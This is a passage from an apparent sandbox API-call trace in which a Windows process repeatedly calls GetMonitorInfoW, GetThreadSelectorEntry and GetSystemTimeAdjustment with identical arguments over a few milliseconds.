lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.265] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.265] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.265] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.265] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.265] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.265] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.265] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.265] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.265] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.265] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.265] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.265] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.265] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.265] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.265] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.265] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.265] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.265] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.265] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.265] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.265] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.265] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.265] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.265] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.265] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.265] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.265] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.265] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.265] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.265] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.265] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.265] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.265] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.266] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.266] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.266] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.266] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.266] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.266] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.266] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.266] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.266] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.266] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.266] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.266] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.266] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.267] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.267] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.267] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.267] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.267] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.267] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.267] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.267] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.267] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.267] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.267] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.267] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.267] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.267] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.267] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.267] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.267] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.267] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.267] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.267] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.267] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.267] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.267] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.267] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.267] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.267] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.267] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.267] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.267] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.267] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.267] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.267] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.267] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.268] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.268] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.268] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.268] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.268] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.268] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.268] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.268] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.268] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.268] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.268] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.268] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.268] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.268] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.268] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.268] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.268] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.268] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.268] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.268] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.268] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.268] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.268] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.268] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.268] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.268] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.268] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.268] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.268] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.268] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.268] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.268] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.268] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.268] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.268] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.269] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.269] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.269] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.269] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.269] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.269] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.269] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.269] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.269] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.269] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.269] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.269] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.269] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.269] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.269] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.269] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.269] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.269] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.269] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.269] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.269] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.269] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.269] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.269] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.269] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.269] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.269] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.269] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.269] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.269] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.269] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.269] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.269] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.270] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.270] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.270] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.270] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.270] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.270] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.270] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.270] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.270] GetSystemTimeAdjustment (in: 